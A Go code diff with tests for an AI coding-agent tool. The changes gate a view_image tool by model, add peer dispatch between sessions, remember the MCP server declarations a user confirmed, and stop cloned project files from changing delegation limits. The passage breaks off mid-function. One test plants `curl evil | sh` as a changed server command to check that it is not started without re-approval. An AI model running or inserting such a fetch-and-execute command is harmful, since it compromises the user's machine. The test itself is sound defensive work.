||||
package boot
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/contract/event"
|
||||
"reasonix/internal/contract/provider"
|
||||
)
|
||||
|
||||
// view_image is offered to a model that reads images and to no other: a session
|
||||
// on a text-only model keeps exactly the tool block it had, and so its cached
|
||||
// prompt prefix. What reaches the provider is checked, not the registry.
|
||||
func TestEffectViewImageReachesOnlyAModelThatReadsImages(t *testing.T) {
|
||||
t.Parallel()
|
||||
for _, vision := range []bool{true, false} {
|
||||
t.Run(fmt.Sprintf("vision=%v", vision), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
home := statedBootHome(t)
|
||||
dir := testenv.TempDir(t)
|
||||
rec := &peerToolProvider{}
|
||||
kind := fmt.Sprintf("boot-view-image-%s", strings.ReplaceAll(t.Name(), "/", "-"))
|
||||
provider.Register(kind, func(provider.Config) (provider.Provider, error) { return rec, nil })
|
||||
writeFile(t, dir, "reasonix.toml", fmt.Sprintf(`
|
||||
default_model = "test-model"
|
||||
|
||||
[codegraph]
|
||||
enabled = false
|
||||
|
||||
[[providers]]
|
||||
name = "test-model"
|
||||
kind = %q
|
||||
model = "x"
|
||||
vision = %v
|
||||
`, kind, vision))
|
||||
approveWorkspaceAt(t, home, dir)
|
||||
ctrl, err := Build(context.Background(), Options{Home: home, WorkspaceRoot: dir, Sink: event.Discard})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(ctrl.Close)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
|
||||
defer cancel()
|
||||
_ = ctrl.Run(ctx, "hi")
|
||||
has := false
|
||||
for _, name := range rec.toolNames() {
|
||||
has = has || name == "view_image"
|
||||
}
|
||||
if has != vision {
|
||||
t.Fatalf("vision=%v: tools in the first request = %v", vision, rec.toolNames())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -21,5 +21,8 @@ func addPeerTools(reg *tool.Registry, cfg *config.Config) *tool.PeerLink {
|
||||
reg.Add(t)
|
||||
}
|
||||
}
|
||||
if cfg.PeersDispatch() && (len(cfg.Tools.Enabled) == 0 || slices.Contains(cfg.Tools.Enabled, "dispatch_to_project")) {
|
||||
reg.Add(builtin.DispatchTool(link))
|
||||
}
|
||||
return link
|
||||
}
|
||||
@@ -144,7 +144,7 @@ func newSubagentConfig(opts Options, cfg *config.Config, entry *config.ProviderE
|
||||
inheritedEffortDropped: inherited.dropped,
|
||||
taskModel: firstNonEmpty(cfg.Agent.SubagentModels["task"], cfg.Agent.SubagentModel),
|
||||
taskEffort: strings.TrimSpace(cfg.Agent.SubagentEfforts["task"]),
|
||||
maxDepth: agent.NormalizeMaxSubagentDepth(cfg.Agent.MaxSubagentDepth),
|
||||
maxDepth: agent.SubagentDepthFromConfig(cfg.Agent.MaxSubagentDepth),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
package boot
|
||||
|
||||
import (
|
||||
"slices"
|
||||
|
||||
"reasonix/internal/contract/config"
|
||||
"reasonix/internal/contract/tool"
|
||||
"reasonix/internal/tools/builtin"
|
||||
)
|
||||
|
||||
// addViewImage registers view_image for a session whose model reads images. A
|
||||
// session on a text-only model is not offered a tool it cannot use, and its tool
|
||||
// block (and so its cached prompt prefix) is unchanged.
|
||||
func addViewImage(reg *tool.Registry, cfg *config.Config, entry *config.ProviderEntry, env toolEnvironment, root string) {
|
||||
if !config.EffectiveVision(entry) {
|
||||
return
|
||||
}
|
||||
if len(cfg.Tools.Enabled) > 0 && !slices.Contains(cfg.Tools.Enabled, "view_image") {
|
||||
return
|
||||
}
|
||||
reg.Add(builtin.Workspace{
|
||||
Dir: root, WriteRoots: env.writeRoots, ReadRoots: env.readRoots, ForbidReadRoots: env.forbidReadRoots, ReadPaths: env.readPaths,
|
||||
}.ViewImage())
|
||||
}
|
||||
@@ -28,9 +28,11 @@ type Info struct {
|
||||
Key string // storage key: RepoPrefix or PathPrefix
|
||||
// RepoDir is the repository's shared Git directory, identical across linked
|
||||
// worktrees, or "" outside a repository. GitDir is this tree's own.
|
||||
RepoDir string
|
||||
GitDir string
|
||||
Branch string // checked-out branch, or "" when detached or unreadable
|
||||
RepoDir string
|
||||
GitDir string
|
||||
CheckoutRoot string // directory containing this checkout's .git marker
|
||||
Prefix string // selected workspace relative to CheckoutRoot
|
||||
Branch string // checked-out branch, or "" when detached or unreadable
|
||||
// Trees counts the working trees sharing RepoDir, the main one included. It
|
||||
// is 1 outside a repository.
|
||||
Trees int
|
||||
@@ -46,6 +48,8 @@ func Describe(root string) Info {
|
||||
for dir := base; ; {
|
||||
if common, own, ok := gitDirsAt(filepath.Join(dir, ".git")); ok {
|
||||
info.RepoDir, info.GitDir = common, own
|
||||
info.CheckoutRoot = dir
|
||||
info.Prefix, _ = filepath.Rel(dir, base)
|
||||
info.Key = RepoPrefix + digest(common)
|
||||
info.Branch = branchAt(own)
|
||||
info.Trees = countTrees(common)
|
||||
|
||||
@@ -38,6 +38,10 @@ func TestKeyRepoForRootAndSubdirectory(t *testing.T) {
|
||||
if got := Key(sub); got != rootKey {
|
||||
t.Fatalf("Key(subdir) = %q, want the repository key %q", got, rootKey)
|
||||
}
|
||||
info := Describe(sub)
|
||||
if info.CheckoutRoot != canonical(repo) || info.Prefix != filepath.Join("internal", "agent") {
|
||||
t.Fatalf("checkout ownership lost selected subdirectory: %+v", info)
|
||||
}
|
||||
}
|
||||
|
||||
// A linked worktree must land on the same key as the tree it was cut from, or
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"slices"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// mcpIdentity returns the fixed part of a server's override identity: whether
|
||||
// its scope is forced, and the disambiguators that keep two packages exposing
|
||||
@@ -55,7 +58,7 @@ func (s *ActivationStore) ServerDecision(entry PluginEntry, root string) (Activa
|
||||
switch {
|
||||
case err != nil || !found:
|
||||
return ActivationUndecided, DeclaredDefaultOn(entry), err
|
||||
case repoDeclared && row.Enabled && row.Identity != ProjectDeclarationDigest(entry, root):
|
||||
case repoDeclared && row.Enabled && !slices.Contains(confirmedDeclarations(row), ProjectDeclarationDigest(entry, root)):
|
||||
return ActivationChanged, DeclaredDefaultOn(entry), nil
|
||||
}
|
||||
return decisionOf(row.Enabled), DeclaredDefaultOn(entry), nil
|
||||
@@ -108,7 +111,7 @@ func (s *ActivationStore) SetServerEnabled(entry PluginEntry, root string, scope
|
||||
override := ServerOverrideFor(entry, root, scope)
|
||||
override.Enabled = enabled
|
||||
if repoDeclared, _, _ := mcpIdentity(entry); repoDeclared && enabled {
|
||||
override.Identity = ProjectDeclarationDigest(entry, root)
|
||||
return s.confirmDeclaration(override, ProjectDeclarationDigest(entry, root))
|
||||
}
|
||||
return s.SetOverride(override)
|
||||
}
|
||||
@@ -142,3 +145,50 @@ func (s *ActivationStore) ServerOverride(entry PluginEntry, root string, scope A
|
||||
row, ok := findOverride(file.Overrides, overrideKey(ServerOverrideFor(entry, root, scope)))
|
||||
return row, ok, nil
|
||||
}
|
||||
|
||||
// maxConfirmedDeclarations bounds how many declarations one slot remembers. The
|
||||
// slot is a row in a user file read at every launch, and a repository with eight
|
||||
// projects declaring one name differently is already far past a real layout; past
|
||||
// the bound the oldest confirmation is dropped, which only asks about it again.
|
||||
const maxConfirmedDeclarations = 8
|
||||
|
||||
// confirmedDeclarations are the declaration digests the user answered yes for on
|
||||
// this row: the list a newer binary writes plus the single Identity an older one
|
||||
// did, so a file from before the list still reads.
|
||||
func confirmedDeclarations(row ActivationOverride) []string {
|
||||
var out []string
|
||||
for _, d := range append(slices.Clone(row.Identities), row.Identity) {
|
||||
if d != "" && !slices.Contains(out, d) {
|
||||
out = append(out, d)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// confirmDeclaration records an enable for digest on the slot override names. A
|
||||
// project of the same repository that declares the same name differently shares
|
||||
// the slot, so the enable adds to what the user already confirmed there instead
|
||||
// of replacing it; only a declaration on that list may start. Disabling still
|
||||
// replaces the whole row, which clears the list.
|
||||
func (s *ActivationStore) confirmDeclaration(override ActivationOverride, digest string) error {
|
||||
if s == nil {
|
||||
return nil
|
||||
}
|
||||
override = normalizeOverride(override)
|
||||
if override.Name == "" {
|
||||
return nil
|
||||
}
|
||||
return s.update(func(file *ActivationFile) {
|
||||
confirmed := []string{}
|
||||
if prior, ok := findOverride(file.Overrides, overrideKey(override)); ok && prior.Enabled {
|
||||
confirmed = slices.DeleteFunc(confirmedDeclarations(prior), func(d string) bool { return d == digest })
|
||||
}
|
||||
confirmed = append(confirmed, digest)
|
||||
if len(confirmed) > maxConfirmedDeclarations {
|
||||
confirmed = confirmed[len(confirmed)-maxConfirmedDeclarations:]
|
||||
}
|
||||
override.Identity = digest
|
||||
override.Identities = confirmed
|
||||
file.Overrides = upsertOverride(file.Overrides, override)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// repoWithProjects makes one repository holding projects a and b, each
|
||||
// declaring the server "srv" differently, and returns the roots.
|
||||
func repoWithProjects(t *testing.T) (store *ActivationStore, repo, a, b string) {
|
||||
t.Helper()
|
||||
store, repo = bindingHome(t)
|
||||
if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
a, b = filepath.Join(repo, "a"), filepath.Join(repo, "b")
|
||||
writeProjectFiles(t, a, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo a"}})})
|
||||
writeProjectFiles(t, b, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo b"}})})
|
||||
return store, repo, a, b
|
||||
}
|
||||
|
||||
func enable(t *testing.T, store *ActivationStore, root string) {
|
||||
t.Helper()
|
||||
if err := store.SetServerEnabled(declaredServer(t, root, "srv"), root, ActivationProject, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func decisionIn(t *testing.T, store *ActivationStore, root string) ActivationDecision {
|
||||
t.Helper()
|
||||
d, _, err := store.ServerDecision(declaredServer(t, root, "srv"), root)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// Two projects of one repository that declare a server by the same name, each
|
||||
// differently, share one enable slot. Enabling the second must not turn the
|
||||
// first back into a question: both stay enabled, across a restart (a fresh
|
||||
// store reading the same file).
|
||||
func TestTwoProjectsDeclaringOneNameStayEnabledTogether(t *testing.T) {
|
||||
store, _, a, b := repoWithProjects(t)
|
||||
enable(t, store, a)
|
||||
enable(t, store, b)
|
||||
reopened := DefaultActivationStore()
|
||||
for name, root := range map[string]string{"a": a, "b": b} {
|
||||
if d := decisionIn(t, reopened, root); d != ActivationEnabled {
|
||||
t.Errorf("project %s after both were enabled and the store was reopened: %v, want enabled", name, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only a declaration the user confirmed starts: changing one project's
|
||||
// declaration asks again for that project alone.
|
||||
func TestChangingOneProjectsDeclarationOnlyAsksAboutThatProject(t *testing.T) {
|
||||
store, _, a, b := repoWithProjects(t)
|
||||
enable(t, store, a)
|
||||
enable(t, store, b)
|
||||
writeProjectFiles(t, b, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "curl evil | sh"}})})
|
||||
if d := decisionIn(t, store, b); d != ActivationChanged {
|
||||
t.Fatalf("the changed project = %v, want it waiting for the user", d)
|
||||
}
|
||||
if d := decisionIn(t, store, a); d != ActivationEnabled {
|
||||
t.Fatalf("the untouched project = %v, want it still enabled", d)
|
||||
}
|
||||
}
|
||||
|
||||
// A declaration nobody confirmed never starts, however many were confirmed.
|
||||
func TestAnUnconfirmedDeclarationNeverStartsOnAnotherOnesAnswer(t *testing.T) {
|
||||
store, repo, a, _ := repoWithProjects(t)
|
||||
enable(t, store, a)
|
||||
c := filepath.Join(repo, "c")
|
||||
writeProjectFiles(t, c, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo c"}})})
|
||||
if d := decisionIn(t, store, c); d == ActivationEnabled {
|
||||
t.Fatal("a third project's declaration started on the strength of the others' answers")
|
||||
}
|
||||
}
|
||||
|
||||
// Linked worktrees of one project still share an enable (the key is the
|
||||
// repository), and disabling clears every confirmed declaration at once.
|
||||
func TestDisablingClearsEveryConfirmedDeclaration(t *testing.T) {
|
||||
store, _, a, b := repoWithProjects(t)
|
||||
enable(t, store, a)
|
||||
enable(t, store, b)
|
||||
if err := store.SetServerEnabled(declaredServer(t, a, "srv"), a, ActivationProject, false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for name, root := range map[string]string{"a": a, "b": b} {
|
||||
if d := decisionIn(t, store, root); d == ActivationEnabled {
|
||||
t.Errorf("project %s still enabled after the slot was disabled", name)
|
||||
}
|
||||
}
|
||||
enable(t, store, a)
|
||||
if d := decisionIn(t, store, b); d == ActivationEnabled {
|
||||
t.Fatal("the confirmation of b survived a disable and returned with a's enable")
|
||||
}
|
||||
}
|
||||
|
||||
// A file written before the list existed holds one Identity; it still reads, and
|
||||
// the next enable adds to it.
|
||||
func TestAFileWithOnlyTheSingleIdentityStillReads(t *testing.T) {
|
||||
store, _, a, b := repoWithProjects(t)
|
||||
entryA := declaredServer(t, a, "srv")
|
||||
old := ServerOverrideFor(entryA, a, ActivationProject)
|
||||
old.Enabled, old.Identity = true, ProjectDeclarationDigest(entryA, a)
|
||||
if err := store.SetOverride(old); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if d := decisionIn(t, store, a); d != ActivationEnabled {
|
||||
t.Fatalf("an old single-identity row = %v, want enabled for its declaration", d)
|
||||
}
|
||||
enable(t, store, b)
|
||||
for name, root := range map[string]string{"a": a, "b": b} {
|
||||
if d := decisionIn(t, store, root); d != ActivationEnabled {
|
||||
t.Errorf("project %s after adding to an old row: %v, want enabled", name, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The list is bounded, oldest dropped: the file stays small and only the oldest
|
||||
// confirmation is asked about again.
|
||||
func TestTheConfirmedListIsBoundedAndKeepsTheNewest(t *testing.T) {
|
||||
store, repo, _, _ := repoWithProjects(t)
|
||||
var roots []string
|
||||
for i := range maxConfirmedDeclarations + 2 {
|
||||
root := filepath.Join(repo, fmt.Sprintf("p%d", i))
|
||||
writeProjectFiles(t, root, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", fmt.Sprintf("echo %d", i)}})})
|
||||
enable(t, store, root)
|
||||
roots = append(roots, root)
|
||||
}
|
||||
if d := decisionIn(t, store, roots[0]); d == ActivationEnabled {
|
||||
t.Error("the oldest confirmation survived past the bound")
|
||||
}
|
||||
if d := decisionIn(t, store, roots[len(roots)-1]); d != ActivationEnabled {
|
||||
t.Errorf("the newest confirmation = %v, want enabled", d)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package config
|
||||
|
||||
import "fmt"
|
||||
|
||||
// agentLimits are the three counts that bound how much delegation runs at once.
|
||||
// A repo may not move any of them: lowering one is a stall, and raising the
|
||||
// depth is unbounded cost, so the user's own file decides all three.
|
||||
type agentLimits struct {
|
||||
concurrency, writers, depth int
|
||||
}
|
||||
|
||||
func holdAgentLimits(c *Config) agentLimits {
|
||||
return agentLimits{c.Agent.MaxSubagentConcurrency, c.Agent.MaxParallelWriters, c.Agent.MaxSubagentDepth}
|
||||
}
|
||||
|
||||
func (h heldScope) narrowAgentLimits(c *Config) {
|
||||
for _, l := range []struct {
|
||||
key string
|
||||
now *int
|
||||
held int
|
||||
}{
|
||||
{"agent.max_subagent_concurrency", &c.Agent.MaxSubagentConcurrency, h.limits.concurrency},
|
||||
{"agent.max_parallel_writers", &c.Agent.MaxParallelWriters, h.limits.writers},
|
||||
{"agent.max_subagent_depth", &c.Agent.MaxSubagentDepth, h.limits.depth},
|
||||
} {
|
||||
if *l.now != l.held {
|
||||
c.ignoreProject(l.key, fmt.Sprint(*l.now), ProjectUserOnly)
|
||||
*l.now = l.held
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// Nothing bounds delegation by count until the user's own file says so; the one
|
||||
// exception is the recursion depth, whose default is a named stop at 8 that only
|
||||
// an explicit 0 removes.
|
||||
func TestDelegationCountsAreUnlimitedByDefaultAndDepthHasAStop(t *testing.T) {
|
||||
d := Default().Agent
|
||||
if d.MaxSubagentConcurrency != 0 || d.MaxParallelWriters != 0 {
|
||||
t.Fatalf("defaults limit concurrency: %d sub-agents, %d writers", d.MaxSubagentConcurrency, d.MaxParallelWriters)
|
||||
}
|
||||
if d.MaxSubagentDepth != 8 {
|
||||
t.Fatalf("default depth = %d, want the stop at 8", d.MaxSubagentDepth)
|
||||
}
|
||||
cfg, _ := loadScoped(t, "", "")
|
||||
if cfg.Agent.MaxSubagentDepth != 8 {
|
||||
t.Fatalf("a config that says nothing has depth %d, want 8", cfg.Agent.MaxSubagentDepth)
|
||||
}
|
||||
cfg, _ = loadScoped(t, "[agent]\nmax_subagent_depth = 0\nmax_parallel_writers = 5\n", "")
|
||||
if cfg.Agent.MaxSubagentDepth != 0 || cfg.Agent.MaxParallelWriters != 5 {
|
||||
t.Fatalf("explicit user values were not kept: depth %d, writers %d", cfg.Agent.MaxSubagentDepth, cfg.Agent.MaxParallelWriters)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAProjectFileCannotMoveTheDelegationLimits(t *testing.T) {
|
||||
cfg, _ := loadScoped(t, "", "[agent]\nmax_subagent_concurrency = 1\nmax_parallel_writers = 1\nmax_subagent_depth = 0\n")
|
||||
if cfg.Agent.MaxSubagentConcurrency != 0 || cfg.Agent.MaxParallelWriters != 0 || cfg.Agent.MaxSubagentDepth != 8 {
|
||||
t.Fatalf("a cloned repo moved the limits: %+v", cfg.Agent)
|
||||
}
|
||||
for _, key := range []string{"agent.max_subagent_concurrency", "agent.max_parallel_writers", "agent.max_subagent_depth"} {
|
||||
if !slices.Contains(ignoredKeys(cfg), key) {
|
||||
t.Errorf("ignored = %v, want %s reported", ignoredKeys(cfg), key)
|
||||
}
|
||||
}
|
||||
cfg, _ = loadScoped(t, "[agent]\nmax_parallel_writers = 4\n", "[agent]\nmax_parallel_writers = 1\n")
|
||||
if cfg.Agent.MaxParallelWriters != 4 {
|
||||
t.Fatalf("the project file overrode the user's own limit: %d", cfg.Agent.MaxParallelWriters)
|
||||
}
|
||||
}
|
||||
@@ -64,6 +64,10 @@ type ActivationOverride struct {
|
||||
// Identity is the digest of the declaration an enable was given for; set
|
||||
// only for a repository-declared server (see ProjectDeclarationDigest).
|
||||
Identity string `json:"identity,omitempty"`
|
||||
// Identities are the declarations confirmed for this slot when several projects
|
||||
// of a repository declare one name. Identity stays the latest of them, so a
|
||||
// reader that only knows Identity still works (see confirmedDeclarations).
|
||||
Identities []string `json:"identities,omitempty"`
|
||||
}
|
||||
|
||||
// ActivationFile is the on-disk shape of $REASONIX_HOME/capability-activation.json.
|
||||
@@ -414,6 +418,7 @@ func normalizeOverride(o ActivationOverride) ActivationOverride {
|
||||
o.Owner = strings.TrimSpace(o.Owner)
|
||||
o.Key = strings.TrimSpace(o.Key)
|
||||
o.Identity = strings.TrimSpace(o.Identity)
|
||||
o.Identities = slices.DeleteFunc(slices.Clone(o.Identities), func(s string) bool { return strings.TrimSpace(s) == "" })
|
||||
if o.Kind != CapabilitySkill {
|
||||
o.Kind = CapabilityMCP
|
||||
}
|
||||
|
||||
@@ -1074,8 +1074,8 @@ type AgentConfig struct {
|
||||
DecisionModel string `toml:"decision_model"`
|
||||
SubagentEffort string `toml:"subagent_effort"`
|
||||
SubagentEfforts map[string]string `toml:"subagent_efforts"`
|
||||
MaxSubagentDepth int `toml:"max_subagent_depth"`
|
||||
MaxSideSessions int `toml:"max_side_sessions"` // 0 (default) opens as many side conversations as asked; the user file only
|
||||
MaxSubagentDepth int `toml:"max_subagent_depth"` // delegation layers; default 8 stops runaway recursion, 0 removes the stop; the user file only
|
||||
MaxSideSessions int `toml:"max_side_sessions"` // 0 (default) opens as many side conversations as asked; the user file only
|
||||
// TaskCostBudget lands a task on one summary once it spends this much.
|
||||
TaskCostBudget float64 `toml:"task_cost_budget"`
|
||||
// TaskTimeBudgetMinutes is the same gate on wall clock. All three ship off.
|
||||
@@ -1087,11 +1087,11 @@ type AgentConfig struct {
|
||||
GoalTokenBudget int `toml:"goal_token_budget"`
|
||||
// MaxSubagentConcurrency bounds how many sub-agents (task, fleet items,
|
||||
// profile skills, nested children) may run at once in one session.
|
||||
// 0 means the default (6). Values outside 1–32 are clamped on load.
|
||||
// 0, the default, sets no limit. The user file only.
|
||||
MaxSubagentConcurrency int `toml:"max_subagent_concurrency"`
|
||||
// MaxParallelWriters bounds concurrent writer-capable sub-agents that
|
||||
// declare non-overlapping write_paths. 0 means the default (3). Must not
|
||||
// exceed MaxSubagentConcurrency after normalization.
|
||||
// declare non-overlapping write_paths. 0, the default, sets no limit: the
|
||||
// path claims keep writers apart, not a count. The user file only.
|
||||
MaxParallelWriters int `toml:"max_parallel_writers"`
|
||||
SubagentClaims string `toml:"subagent_claims"` // "strict" (default) or "optimistic"; the user file only
|
||||
WriteLease string `toml:"write_lease"` // "strict" (default) or "optimistic"; the user file only
|
||||
@@ -1405,9 +1405,9 @@ func Default() *Config {
|
||||
CompactRatio: 0.85,
|
||||
CompactForceRatio: 0,
|
||||
ContextEditing: "",
|
||||
MaxSubagentDepth: 2,
|
||||
MaxSubagentConcurrency: 6,
|
||||
MaxParallelWriters: 3,
|
||||
MaxSubagentDepth: 8,
|
||||
MaxSubagentConcurrency: 0,
|
||||
MaxParallelWriters: 0,
|
||||
SubagentClaims: "strict",
|
||||
WriteLease: "strict",
|
||||
PlanApproval: "ask",
|
||||
|
||||
@@ -1,12 +1,70 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// PeersConfig governs messages between sessions of one user on one machine.
|
||||
type PeersConfig struct {
|
||||
// Enabled publishes this session to its peers and reads its own spool. Off
|
||||
// by default; the user file only, so a cloned repo cannot open the door.
|
||||
Enabled bool `toml:"enabled"`
|
||||
// Dispatch gives the model a tool that hands a task to a session in another of
|
||||
// the user's projects. Needs Enabled; off by default; the user file only.
|
||||
Dispatch bool `toml:"dispatch"`
|
||||
// ReleaseProjects lists projects whose sessions take a message from the user's
|
||||
// other sessions without the approval card. Only the asking is skipped: what
|
||||
// the message starts runs under that session's own approvals. User file only.
|
||||
ReleaseProjects []string `toml:"release_projects"`
|
||||
}
|
||||
|
||||
// PeersEnabled reports whether this session takes part in messages between
|
||||
// sessions.
|
||||
func (c *Config) PeersEnabled() bool { return c != nil && c.Peers.Enabled }
|
||||
|
||||
// PeersDispatch reports whether the model may dispatch a task to another project.
|
||||
func (c *Config) PeersDispatch() bool { return c.PeersEnabled() && c.Peers.Dispatch }
|
||||
|
||||
// PeersReleasedProject reports whether root is a project the user lets take
|
||||
// messages from their other sessions without a card.
|
||||
func (c *Config) PeersReleasedProject(root string) bool {
|
||||
if c == nil || root == "" {
|
||||
return false
|
||||
}
|
||||
want := cleanProjectPath(root)
|
||||
return slices.ContainsFunc(c.Peers.ReleaseProjects, func(p string) bool { return cleanProjectPath(p) == want })
|
||||
}
|
||||
|
||||
func cleanProjectPath(p string) string {
|
||||
p = filepath.Clean(p)
|
||||
if resolved, err := filepath.EvalSymlinks(p); err == nil {
|
||||
p = resolved
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func renderServeAndPeers(b *strings.Builder, c *Config) {
|
||||
renderServeSection(b, c)
|
||||
renderPeersSection(b, c)
|
||||
}
|
||||
|
||||
// renderPeersSection writes [peers] only once something in it is set, so a user
|
||||
// who never touched messages between sessions keeps a file without the table.
|
||||
func renderPeersSection(b *strings.Builder, c *Config) {
|
||||
p := c.Peers
|
||||
if !p.Enabled && !p.Dispatch && len(p.ReleaseProjects) == 0 {
|
||||
return
|
||||
}
|
||||
b.WriteString("[peers]\n")
|
||||
fmt.Fprintf(b, "enabled = %v # messages between your sessions on this machine; user file only\n", p.Enabled)
|
||||
if p.Dispatch {
|
||||
b.WriteString("dispatch = true # the model may hand a task to a session in another of your projects; needs enabled\n")
|
||||
}
|
||||
if len(p.ReleaseProjects) > 0 {
|
||||
fmt.Fprintf(b, "release_projects = %s # projects that take messages from your other sessions without a card\n", renderStringArray(p.ReleaseProjects))
|
||||
}
|
||||
b.WriteString("\n")
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
@@ -34,3 +36,65 @@ func TestAProjectFileCannotSwitchOffWhatTheUserChose(t *testing.T) {
|
||||
t.Fatal("the project file overrode the user's own peers setting")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSavingTheUserFileKeepsEveryPeersSetting(t *testing.T) {
|
||||
t.Setenv("REASONIX_HOME", t.TempDir())
|
||||
path := UserConfigPath()
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(path, []byte("[peers]\nenabled = true\ndispatch = true\nrelease_projects = [\"/work/b\", \"/work/c\"]\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfg := LoadForEdit(path)
|
||||
cfg.Agent.MaxSideSessions = 2 // an unrelated save must not drop [peers]
|
||||
if err := cfg.SaveTo(path); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := LoadForEdit(path).Peers
|
||||
if !got.Enabled || !got.Dispatch || !slices.Equal(got.ReleaseProjects, []string{"/work/b", "/work/c"}) {
|
||||
t.Fatalf("peers after an unrelated save = %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPeersDispatchNeedsPeersAndAProjectFileCannotGrantIt(t *testing.T) {
|
||||
cfg, _ := loadScoped(t, "[peers]\ndispatch = true\n", "")
|
||||
if cfg.PeersDispatch() {
|
||||
t.Fatal("dispatch worked without messages between sessions being on")
|
||||
}
|
||||
cfg, _ = loadScoped(t, "[peers]\nenabled = true\n", "[peers]\ndispatch = true\nrelease_projects = [\"/x\"]\n")
|
||||
if cfg.PeersDispatch() || cfg.PeersReleasedProject("/x") {
|
||||
t.Fatal("a cloned repo's reasonix.toml granted dispatch or a release")
|
||||
}
|
||||
for _, key := range []string{"peers.dispatch", "peers.release_projects"} {
|
||||
if !slices.Contains(ignoredKeys(cfg), key) {
|
||||
t.Fatalf("ignored = %v, want %s reported", ignoredKeys(cfg), key)
|
||||
}
|
||||
}
|
||||
cfg, _ = loadScoped(t, "[peers]\nenabled = true\ndispatch = true\nrelease_projects = [\"/x\"]\n", "")
|
||||
if !cfg.PeersDispatch() || !cfg.PeersReleasedProject("/x") || cfg.PeersReleasedProject("/y") {
|
||||
t.Fatalf("user file settings not honoured: %+v", cfg.Peers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSavingPeersSettingsWritesThemAndReadsThemBack(t *testing.T) {
|
||||
t.Setenv("REASONIX_HOME", t.TempDir())
|
||||
path := UserConfigPath()
|
||||
cfg := LoadForEdit(path)
|
||||
cfg.Peers = PeersConfig{Enabled: true, Dispatch: true, ReleaseProjects: []string{"/work/b"}}
|
||||
if err := cfg.SaveTo(path); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := LoadForEdit(path).Peers
|
||||
if !got.Enabled || !got.Dispatch || !slices.Equal(got.ReleaseProjects, []string{"/work/b"}) {
|
||||
t.Fatalf("peers after saving = %+v", got)
|
||||
}
|
||||
cfg = LoadForEdit(path)
|
||||
cfg.Peers = PeersConfig{}
|
||||
if err := cfg.SaveTo(path); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := LoadForEdit(path).Peers; got.Enabled || got.Dispatch || len(got.ReleaseProjects) != 0 {
|
||||
t.Fatalf("peers after clearing = %+v", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"slices"
|
||||
)
|
||||
|
||||
func clonePeers(p PeersConfig) PeersConfig {
|
||||
p.ReleaseProjects = slices.Clone(p.ReleaseProjects)
|
||||
return p
|
||||
}
|
||||
|
||||
// narrowPeers puts back every messaging setting the project file touched: each
|
||||
// one widens what a session of this user may send or accept, so only the user's
|
||||
// own file decides.
|
||||
func (h heldScope) narrowPeers(c *Config) {
|
||||
if c.Peers.Enabled != h.peers.Enabled {
|
||||
c.ignoreProject("peers.enabled", fmt.Sprintf("%t", c.Peers.Enabled), ProjectUserOnly)
|
||||
}
|
||||
if c.Peers.Dispatch != h.peers.Dispatch {
|
||||
c.ignoreProject("peers.dispatch", fmt.Sprintf("%t", c.Peers.Dispatch), ProjectUserOnly)
|
||||
}
|
||||
if !slices.Equal(c.Peers.ReleaseProjects, h.peers.ReleaseProjects) {
|
||||
